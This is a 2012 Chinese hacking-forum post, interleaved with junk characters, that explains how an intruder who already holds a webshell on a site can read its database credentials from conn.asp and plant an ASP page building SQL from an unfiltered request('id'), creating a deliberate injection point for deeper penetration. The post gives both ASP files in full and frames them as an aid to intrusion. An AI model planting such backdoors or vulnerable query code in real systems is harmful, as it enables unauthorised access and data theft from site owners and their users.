找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2143|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
$ h, z. I" u) y8 }: ?5 c
% _3 @, o! C0 R+ X! n今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
" `+ Q. l* Q% n8 }5 C; ^3 t+ `8 r! G( z1 }0 x$ [
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!9 \8 a, T' U" ]

4 m, d* @5 `% r! ~2 m# W) `! I% i首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
' s( h8 K" d8 O0 Z- y( e: I
$ R* Y1 A: J$ b: ~% D密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
* O% L% a( ]8 }  \5 m; H; ]3 e; }1 A2 L
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:, Z; W, K2 p7 S+ z

* Y: R# O5 k2 ?程序代码
' j' J0 E5 C1 K$ e) |$ E<!--#include file="xx.asp"-->
6 y0 C$ j; g) p1 c& H# a# k<%4 U/ }8 f! l' ]/ K+ Q' f* m+ v6 o
set rs=server.createobject("ADODB.recordset")8 \' `* [; J# ^
id = request("id")
1 ~* ?$ n% y; V; ?5 RstrSQL = "select * from admin where id=" & id
, f5 P7 B3 {; {6 m' s2 Zrs.open strSQL,conn,1,3
7 z% {  X- z  ?/ Ers.close2 I( Q2 Q! v4 @. W* d2 H& Z' R8 p
%>
& P3 o, P: v# O& l, u; `9 v9 L
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
! n6 S0 x7 O' @9 P% `# n8 e5 A  Q; T- g4 Y$ @2 n/ x
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 t* g) H5 w& [3 X' h
0 L" H/ t1 [) T8 `3 K6 f# ?2 V
然后就要构造一个连接数据库的文件了,代码如下:
7 b# y. q! g6 n' ]5 {( J% ?' C+ H程序代码
. _0 g  R' u/ S. \<%        
6 l: g; J; y: QstrSQLServerName = "000.000.000.000"     '服务器名称或地址
! _& q. J1 P; @# I& V1 X6 UstrSQLDBUserName = "sqlname"         '数据库帐号8 ~: B5 h) y, D: {7 m$ u/ J2 P/ D
strSQLDBPassword = "sqlpass"         '数据库密码
7 {& V' [( p9 P* F$ ustrSQLDBName = "sqldataname"           '数据库名称' A. Q7 h+ n4 b+ y/ ^
Set conn = Server.CreateObject("ADODB.Connection")- F8 z4 \" s% S8 f) T
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"/ A6 }( J  u8 m6 ^
conn.open strCon
, Y" I" M) k9 I* g1 T. _%>
% f' ]3 n9 c# Z4 R0 f
1 S9 I; y! ^0 l6 @! G) u这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,2 J$ P* q0 X- p% a
2 c% H& j; J+ Z/ q1 q: C
就这样,正常情况下,就OK了,伪造成功……
& V! E/ @) t( ^, K& l1 L
, {+ z5 Q, k( j+ Z& l2 U/ \           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表